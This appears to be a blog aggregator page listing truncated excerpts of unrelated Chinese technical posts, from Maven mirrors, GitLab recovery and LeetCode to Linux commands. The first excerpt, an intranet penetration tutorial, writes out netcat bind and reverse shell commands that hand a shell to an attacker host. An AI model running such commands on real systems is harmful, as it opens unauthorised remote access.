内网渗透代理——内网的防火墙只配置了入站规则比如只有80端口 内网渗透的边界场景分析+内网代理整理
内网渗透的边界场景分析+内网代理整理 先从nc开始理解正向代理和反向代理: 1、正向连接 受害者主机执行 nc -e -t /bin/bash -lvp 7777 攻击者执行 nc -t 192.168.16.X 7777 2、反向连接 受害者主机执行 nc -t -e cmd.exe 192.168.16.104 7777 攻击者主机执行 nc -lvp 7777 winodws下命令参数和linxu参数相同。 nc仅仅能够实现执行命令的操作,对于端口转发和建立socks5代理实现内网扫描无
201771030116-乔昊 实验二 个人项目—《西北师范大学学生疫情上报系统》项目报告
项目 内容 课程班级博客链接 https://edu.cnblogs.com/campus/xbsf/nwnu2020SE 这个作业要求链接 https://edu.cnblogs.com/campus/xbsf/nwnu2020SE/homework/10448 我的课程学习目标 学习软件开发基本流程,掌握方法 这个作业在哪些方面帮助我实现学习目标 学习了github托管项目,学会了软件开发的基本流程。 项目Github的仓库链接地址 https://github.com/Qiaohao50
四、全局事务的commit和rollback
所有文章 https://www.cnblogs.com/lay2017/p/12485081.html 正文 上一篇文章中,我们看了看DefaultCoordinator作为分布式事务的协调者,关于全局事务begin的流程。 DefaultCoordinator把begin的核心实现交付给了DefaultCore,DefaultCore将会构造处一个GlobalSession,一份放到内存里面,一份持久化(默认持久化到 ~/sessionStore/root.data)。 总结下来就是beg
gitlab 因掉电启动失败的问题
序言 这个月公司又忘教电费了,服务器掉电直接宕了,果然公司搭的gitlab又一次洗白了。 寻找并解决问题 通过查看日志发现,果然又是postgresql的锅,fatal: the database system is starting up。 根据上一次的经验,删除 postgresql 的 postmaster.pid 即可,postgresql启动后会写入postmaster.pid文件 所有才会出现上面那个错误。 然而事情并没有想象中简单,fatal:connections on Uni
MVN install下载jar包速度太慢解决方法(引入镜像)
创建maven项目后,修改pom.xml文件后,运行mvn install时,因为jar包默认是从国外的服务器上下载,所以速度较慢。 解决方法:国内 有一些速度较快的镜像,将镜像导入maven的配置文件,即可快速下载jar包。 具体操作:进入maven安装目录->进入conf文件->打开settings.xml->找到<mirrors> .....</mirrors>,在之间加入 <mirror>
<id>repo3</id>
<mirrorOf>cen
Hadoop真分布式实现SSH免密登录
首先需要两台服务器(CentOS安装Linux见:https://www.cnblogs.com/syq816/p/12355115.html) 伪分布式的搭建见:https://www.cnblogs.com/syq816/p/12504812.html 安装好之后先测试两台服务器是否连通,使用ping命令可以测试,这里不再赘述。 SSH密钥登录的实现机制如下图所示: 根据图示我们来一步步的完成操作: 1、首先主机A需要生成密钥对,使用如下命令完成:出现Enter file in which
ArcGIS建筑物简化和建筑物群聚合算法实验
一、下载OSM数据 首先从OpenStreetMap官网下载我们需要的实验数据,这里我选择清华和北大校园作为本次实验数据 二、数据处理 将我们下载的实验数据导入ArcGIS。由于OSM数据是.osm格式,因此导入ArcGIS之前需要将其转换为.shp格式,具体方法见:关于openstreet map的osm文件转shp文件方法(附arcgis10.2插件) 可以看到,面状数据中除了建筑物之外还有植被、水体等。因此为了实现对建筑物的简化,我们需要将建筑物单独从面状数据中筛选出来。 打开面状数据的
LeetCode | 面试题 01.06. 字符串压缩【Python】
LeetCode 面试题 01.06. 字符串压缩【Easy】【Python】【双指针】 问题 力扣 字符串压缩。利用字符重复出现的次数,编写一种方法,实现基本的字符串压缩功能。比如,字符串aabcccccaaa会变为a2b1c5a3。若“压缩”后的字符串没有变短,则返回原先的字符串。你可以假设字符串中只包含大小写英文字母(a至z)。 示例1: 输入:"aabcccccaaa"
输出:"a2b1c5a3" 示例2: 输入:"abbccd"
输出:"abbccd"
解释:"abbccd
delphi数据类型(转载)
转载地址:https://www.cnblogs.com/del/archive/2007/12/04/982167.html 分类 范围 字节 备注 简单类型 序数 整数 Integer -2147483648 .. 2147483647 4 有符号32位 Cardinal 0 .. 4294967295 4 无符号32位 Shortint -128 .. 127 1 有符号8位 Smallint -32768 .. 32767 2 有符号16位 Longint -2147483648 ..
程序结构之返回指针的函数
返回指针的函数: 返回本地变量的地址是危险的 返回全局变量或者静态本地变量的地址是安全的 返回在函数内 malloc 的内存是安全的,但是容易造成问题 最好的做法是返回传入的指针 实例: #include<stdio.h>
int* f(void);
void g(void);
int main(int argc,char const *argv[]) {
int *p = f();
printf("*p=%d\n",*p);
g();
printf("*p=
Python 孤儿进程与僵尸进程
孤儿进程 from multiprocessing import Process,current_process
import time,sys
def func():
# 孤儿进程,父进程早于子进程退出
print('子进程PID',current_process().pid)
time.sleep(10)
print('子进程退出')
def main():
print('子进程PID',current_process().pid)
p
【摩天大楼平地起】基础篇 09 简述N种查找算法
引言 在开始之前首先可以先思考一下假如没有查找算法会是什么情况?所有数据结构都需要全部遍历一遍,每次都一遍又一遍的查,从本质而言查找算法就是为了提高效率。 经过前人一代又一代的努力,目前的查找算法大致可以分为静态查找和动态查找。从名字上就很容易理解,静态查找通俗而言就是查找的时候数据不变,而动态查找也可以理解为查找的时候数据发生了改变。 所以这就衍生了个推论,即静态查找和动态查找算法不能通用,或者说在静态算法中使用动态算法不划算。 还可以从顺序的维度来划分,可以划分为无序查找和
测试必备技能 - Linux常用命令 - cd
如何进入上级目录 cd .. 如何进入当前用户主目录 cd ~ 如何进入上两级目录 cd ../.. 进入当前目录命令 cd . 如何进入/usr/local目录 cd /usr/local
今日推荐
周排行